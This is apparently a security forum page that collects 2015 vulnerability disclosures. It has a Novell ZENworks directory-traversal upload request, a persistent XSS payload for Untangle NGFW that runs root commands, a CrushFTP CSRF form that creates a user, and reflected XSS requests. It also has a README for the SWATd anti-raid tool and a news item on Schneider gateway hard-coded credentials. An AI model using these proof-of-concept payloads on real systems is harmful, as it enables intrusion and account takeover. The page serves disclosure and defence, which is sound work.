Search the Community

>> Remote code execution in Novell ZENworks Configuration Management 11.3.1 >> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security ================================================================================= Disclosure: 07/04/2015 / Last updated: 07/04/2015 >> Background on the affected product: "Automate and accelerate your Windows 7 migration Microsoft estimates that it can take more than 20 hours to migrate a single machine to Windows 7. Novell ZENworks Configuration Management is ready to dramatically accelerate and automate every aspect of your Windows 7 migration efforts. Boost user productivity Use Novell ZENworks Configuration Management to make sure users always have access to the resources they need regardless of where they work or what devices they use. Eliminate IT effort Automatically enforce policies and dynamically manage resources with identity-based management of users as well as devices. Expand your freedom to choose Manage the lifecycles of all your current and future assets, with full support for Windows and Linux systems, Novell eDirectory, Active Directory, and more. Simplify deployment with virtual appliances Slash deployment times with a convenient virtual appliance deployment option. Enjoy a truly unified solution Centralize the management of all your devices into a single, unified and easy-to-use web-based ZENworks consoleâcalled ZENworks Control Center." This vulnerability is present in ZENworks Configuration Management (ZCM) which is part of the ZENworks Suite. A blast from the past? This is a similar vulnerability to ZDI-10-078 / OSVDB-63412, but it abuses a different parameter of the same servlet. However this time Novell: - Did not bother issuing a security advisory to their customers. - Did not credit me even though I did responsible disclosure. - Refused to provide a CVE number for months. - Did not update their ZENworks Suite Trial software with the fix (you can download it now from their site, install and test the PoC / Metasploit module). - Does not list the fix in the ZCM 11.3.2 update information (https://www.novell.com/support/kb/doc.php?id=7015776). >> Technical details: Vulnerability: Remote code execution via file upload and directory traversal CVE-2015-0779 Constraints: none; no authentication or any other information needed Affected versions: ZENworks Configuration Management 11.3.1 and below POST /zenworks/UploadServlet?uid=../../../opt/novell/zenworks/share/tomcat/webapps/&filename=payload.war <WAR file payload in the body> The WAR file will be automatically deployed to the server (on certain Windows and Linux installations the path can be "../webapps/"). A Metasploit module that exploits this vulnerability has been released. >> Fix: Upgrade to version ZENworks Configuration Management 11.3.2. [1]: https://github.com/pedrib/PoC/blob/master/generic/zenworks_zcm_rce.txt [2]: https://github.com/rapid7/metasploit-framework/pull/5096 Source: http://packetstorm.wowhacker.com/1504-exploits/zenworks-exectraversal.txt

SWATd lets you configure 'sensors' that check your PC's external environment. When enough sensors 'fail', SWATd will run a script for you. Sensors are commands or scripts that get executed repeatedly. A sensor is said to fail when its exit code makes a transition from zero (working) to non-zero (not working). This makes configuration easy and powerful. For example, you can make a sensor that checks if your website is online, and then make a command to alert you when the sensor fails. SWATd was originally written as a tool to defend against theft by criminals or to detect when your computer is captured by police. For example, you can set a sensor to detect if your WiFi network is in range, and when it goes out of range, automatically unmount encrypted volumes. So if someone steals your laptop from your house, your files will be safe. Since SWATd only counts the failure when the sensor changes from a "WiFi in range" state to a "WiFi out of range" state, if you use your laptop somewhere else, you don't need to worry about disabling SWATd every time you leave your house. WARNING: While this may be helpful for some, there are significant risks. For one, in some countries, including the United States, you could go to jail on obstruction of justice charges just for running SWATd, even though you are innocent. Second, SWATd is not perfect: law enforcement or a smart thief can still dump your RAM, thus getting your encryption keys, before doing anything that would make a sensor fail. Use with caution, and consult an attorney first. It's most likely the case that if you find yourself needing to rely on SWATd, then you have already lost. Building and Installing To build SWATd, cd into the source code directory and run make. This will create a swatd executable. If you want to install it as a daemon, refer to your operating system's manuals. To run SWATd from a terminal (non-daemon), pass the -s option. Arch Linux To install SWATd on Arch Linux, copy swatd into /usr/bin: # make # install swatd /usr/bin/ Create the configuration file (See the Configuration section below): # mkdir /etc/swatd # chmod 700 /etc/swatd # vim /etc/swatd/swatd.conf If you want SWATd to start when you boot, add the following to /etc/systemd/system/swatd.service. [Unit] Description=SWATd [Service] Type=forking PIDFile=/var/run/swatd.pid ExecStart=/usr/bin/swatd -p /var/run/swatd.pid Restart=on-abort [Install] WantedBy=multi-user.target Then run: # systemctl enable swatd.service # systemctl start swatd.service You can check the status of SWATd by running: # systemctl status swatd.service Read SWATd's log entries by running: # journalctl /usr/bin/swatd Debian To install SWATd on Debian, copy swatd into /usr/bin: # make # install swatd /usr/bin/ Create the configuration file (See the Configuration section below): # mkdir /etc/swatd # chmod 700 /etc/swatd # vim /etc/swatd/swatd.conf Then copy swatd.init to /etc/init.d/ and enable it: # cp swatd.init /etc/init.d/swatd # update-rc.d swatd defaults Configuration By default, SWATd looks for a configuration file in /etc/swatd/swatd.conf. Alternatively, you can provide a configuration file path to SWATd with the -c option. In any case, the configuration file must not be world writable, or SWATd will refuse to run. The configuration file syntax is extremely simple. There are only three options: interval, threshold, and execute. To set a value for one of the options, begin a line with its name, followed by a colon, followed by the value. Everything after a '#' is treated as a comment (ignored). Blank lines are ignored. All other lines define a sensor command. interval is the number of seconds to wait between sensor checks. threshold is the number of sensors that must fail before assuming you are being raided. execute is the command to execute when you are being raided. Here is an example configuration file: # This configuration makes SWATd continually check if /tmp/foobar exists. If # /tmp/foobar stops existing (goes from existing to not existing), SWATd will # write some text to the file /tmp/ran. # ============================================================================= # The number of seconds to wait between sensor checks. # ============================================================================= interval: 30 # ============================================================================= # The number of sensors that must 'fail' at the same time. # ============================================================================= threshold: 1 # ============================================================================= # The command to execute when 'threshold' sensors fail. # ============================================================================= execute: echo "haiii" > /tmp/ran # ============================================================================= # Sensor commands. # A sensor has 'failed' when the exit code transisions from zero to non-zero. # If a sensor's exit code is transitions from zero to 255, the command will be # executed immediately regardless of the 'threshold' setting, and the failure # count will not be incremented. # WARNING: Sensor commands MUST terminate. # ============================================================================= test -e /tmp/foobar Link: https://github.com/defuse/swatd

Multiple issues have been discovered in the Untangle NGFW virtual appliance. The vendor was unresponsive and uncooperative to the researcher. - Persistent XSS leading to root Authentication requiredConfirmed in versions 9 and 11 (up to rev r39357) Throughout the Untangle user interface there are editable data tables for various user configuration options. An example of this is in: Configuration > Networking > Port Forwards. This table can be edited by clicking add to create a new port forward rule, or directly edited by double-clicking on the table rows themselves. The problem arises from malicious user input into some of the fields of these editable tables, which is not properly sanitised and allows for execution of user supplied Javascript code in the context of the users browser. Because this configuration data is saved into the backend database, this allows for Persistent XSS in each of the vulnerable fields/tables. This XSS attack is particularly devastating due to the fact that the malicious attacker can run commands as root on the virtual appliance, allowing for total system takeover. This is because the Untangle JSON-RPC API has access to functionality provided by the ExecManager class (https://gitorious.org/untangle/src/source/381ad9cb2d1d475bb43814b07bbb0df2d1ae7b58:uvm/api/com/untangle/uvm/ExecManager.java), which by default allows for arbitrary commands to be run as root on the system. A POC demonstrating the issue is below: Insert the following into the srcdoc attribute of a user-controlled iframe in the Description field or another vulnerable field (can also be styled to hide etc): Test <iframe srcdoc='[insert code]'></iframe> (single quotes) Insert: <html><head> <script type="text/javascript" src="/ext4/ext-all-debug.js"></script> <script type="text/javascript" src="/jsonrpc/jsonrpc.js"></script> <script type="text/javascript" src="/script/i18n.js"></script> <script type="text/javascript" src="script/components.js"></script> <script type="text/javascript" src="script/main.js"></script></head><body onload="exec()"><script type="text/javascript"> function exec() { var rpc = {}; rpc.jsonrpc = new JSONRpcClient("/webui/JSON-RPC"); var serverUID = rpc.jsonrpc.UvmContext.getServerUID(); alert(serverUID); rpc.execManager = rpc.jsonrpc.UvmContext.execManager(); var cmd = "whoami > /tmp/who"; var exit = rpc.execManager.execResult(cmd); alert("Command: " + cmd + " - Exit code: " + exit); }</script></body></html> - Information disclosure from Local Directory Authentication requiredConfirmed in versions 9 and 11, not fixed. The Local Directory interface shows a list of users stored on the Untangle system. Unfortunately, passwords are not sufficiently encrypted to prevent information disclosure. Each user in the local directory interface has an attribute, 'passwordBase64Hash', which is the base64 encoded string of the plaintext password. Because base64 is a bi-directional encoding scheme, the passwordBase64Hash attribute can be trivially decoded into the original plaintext string, revealing the password for each user. CH Source

======================================================== I. Overview ======================================================== Multiple CSRF & Cross-Site Scripting (XSS) vulnerabilities have been identified in Crushftp 7.2.0 (Web Interface) on default configuration. These vulnerabilities allows an attacker to gain control over valid user accounts, perform operations on their behalf, redirect them to malicious sites, steal their credentials, and more. ======================================================== II. Severity ======================================================== Rating: Medium Remote: Yes Authentication Require: Yes ======================================================== III. Vendor's Description of Application ======================================================== CrushFTP is a robust file transfer server that makes it easy to setup secure connections with your users. 'Crush' comes from the built-in zip methods in CrushFTP. They allow for downloading files in compressed formats in-stream, or even automatically expanding zip files as they are received in-stream. This is called ZipStreaming and can greatly accelerate the transfer of many types of files. Secure management is web based allowing you the ability to manage and monitor the server from anywhere, or with almost any device. Easy in place server upgrades without complicated installers. Runs as a daemon, or Windows service with no need for a local GUI. CrushFTP is watching out for you by detecting common hack attempts and robots which scan for weak passwords. It will automatically protect you against DDoS attacks. No need for you to do anything as CrushFTP will automatically ban these IPs to prevent wasted logging and CPU usage. This keeps your server secure from unwanted abuse. User management includes inheritance, groups, and virtual file systems. If you want simple user management, it can be as easy as just making a folder with a specific name and nothing else. Think about how easily you can delegate user administration with CrushFTP's role based administration and event configuration. http://www.crushftp.com/index.html ======================================================== IV. Vulnerability Details & Exploit ======================================================== 1) Multiple CSRF Vulnerabilities (Web Management interface - Default Config) a) An attacker may add/delete/modify user's accounts May change all configuration settings Request Method: POST Location: /WebInterface/fuction/ Proof of Concept:- <html> <body> <form action="http://127.0.0.1:8080/WebInterface/function/" method="POST"> <input type="hidden" name="command" value="setUserItem" /> <input type="hidden" name="data&&95;action" value="new" /> <input type="hidden" name="serverGroup" value="MainUsers" /> <input type="hidden" name="username" value="Hacker" /> <input type="hidden" name="user" value="<&&63;xml&&32;version&&61;"1&&46;0"&&32;encoding&&61;"UTF&&45;8"&&63;><user&&32;type&&61;"properties"><username>Hacker<&&47;username><password>123456<&&47;password><max&&95;logins>0<&&47;max&&95;logins><root&&95;dir>&&47;<&&47;root&&95;dir><&&47;user>" /> <input type="hidden" name="xmlItem" value="user" /> <input type="hidden" name="vfs&&95;items" value="<&&63;xml&&32;version&&61;"1&&46;0"&&32;encoding&&61;"UTF&&45;8"&&63;><vfs&&32;type&&61;"properties"><&&47;vfs>" /> <input type="hidden" name="permissions" value="<&&63;xml&&32;version&&61;"1&&46;0"&&32;encoding&&61;"UTF&&45;8"&&63;><permissions&&32;type&&61;"properties"><item&&32;name&&61;"&&47;">&&40;read&&41;&&40;write&&41;&&40;view&&41;&&40;resume&&41;<&&47;item><&&47;permissions>" /> <input type="submit" value="Submit request" /> </form> </body> </html> 2) Multiple Cross-Site Scripting (Web Interface - Default Config) Type: Reflected Request Method: POST Location: /WebInterface/function/ Parameter: vfs_items Values: <?xml version="XSS PAYLOAD" encoding="XSS PAYLOAD"> vfs_items = <?xml version="XSS PAYLOAD" encoding="XSS PAYLOAD"> Proof of Concept: POST /WebInterface/function/ HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://127.0.0.1:8080/WebInterface/UserManager/index.html Content-Length: 656 Cookie: XXXXXXXXXXXXXXXXXXXXX Connection: keep-alive Pragma: no-cache Cache-Control: no-cache command=setUserItem&data_action=new&serverGroup=MainUsers&username=test&user=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cuser+type%3D%22properties%22%3E%3Cusername%3Etest2%3C%2Fusername%3E%3Cpassword%3Etest2%3C%2Fpassword%3E%3Cmax_logins%3E0%3C%2Fmax_logins%3E%3Croot_dir%3E%2F%3C%2Froot_dir%3E%3C%2Fuser%3E&xmlItem=user&vfs_items=%3C%3Fxml+version%3D%221.0<a%20xmlns:a%3d'http://www.w3.org/1999/xhtml'><a:body%20onload%3d'alert(1)'/></a>%22+encoding%3D%22UTF-8%22%3F%3E%3Cvfs+type%3D%22properties%22%3E%3C%2Fvfs%3E&permissions=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cpermissions+type%3D%22properties%22%3E%3Citem+name%3D%22%2F%22%3E(read)(view)(resume)%3C%2Fitem%3E%3C%2Fpermissions%3E Type: Reflected Request Method: GET Location: /WebInterface/function/ Parameter: path Values: <script>alert(1)<%2fscript> path=%<script>alert(1)<%2fscript> GET /WebInterface/function/?command=getXMLListing&format=JSONOBJ&path=%<script>alert(1)<%2fscript>&random=0.3300707341372783 HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Referer: http://127.0.0.1:8080/ Cookie: XXXXXXXXXXXXXXXXXXXXXXXX Connection: keep-alive Pragma: no-cache Cache-Control: no-cache ======================================================== VI. Affected Systems ======================================================== Software: Crushftp (Web Interface) Version: 7.2.0 Build : 147 < 7.3 Configuration: Default ======================================================== VII. Vendor Response/Solution ======================================================== Vendor Contacted : 02/12/2015 Vendor Response : 02/12/2015 Solution : upgrade to 7.3 or change <csrf>true</csrf> in prefs.xml ======================================================== VIII. Credits ======================================================== Discovered by Rehan Ahmed knight_rehan@hotmail.com Source

http://trtpost.wpengine.netdna-cdn.com/files/2015/01/FTP_scada-680x400.jpg/img] The parade of easily exploitable, critical vulnerabilities in ICS software shows no signs of ending anytime soon, with the latest entrant being two flaws in Schneider Electric’s ETG3000 FactoryCast HMI Gateway that allow unauthenticated remote access to the device’s FTP server and configuration file. The vulnerabilities exist in numerous versions of the gateway, which is used in manufacturing, energy, water and other industries as a Web-based SCADA system. Schneider Electric, based in Paris, has pushed out an updated version of the firmware to fix these vulnerabilities, according to an advisory from ICS-CERT. “Access to the rde.jar file containing configuration details is accessible without authentication. This could allow an attacker access to information on the setup and configuration of the gateway,” the advisory says. The vulnerability in the FTP server that runs on the gateway is just as concerning. “The ftp server of the device has hard-coded credentials. This could allow the attacker to access the service without proper authentication,” the advisory says. The affected versions are: TSXETG3000 all versions, TSXETG3010 all versions, TSXETG3021 all versions, TSXETG3022 all versions. Schneider Electric’s update fixes the FTP bug by giving users the ability to disable the FTP server. However, the fix does not remove the hard-coded credentials for the FTP service. To address the configuration file access, the company recommends that customers change the default credentials for the config files. Source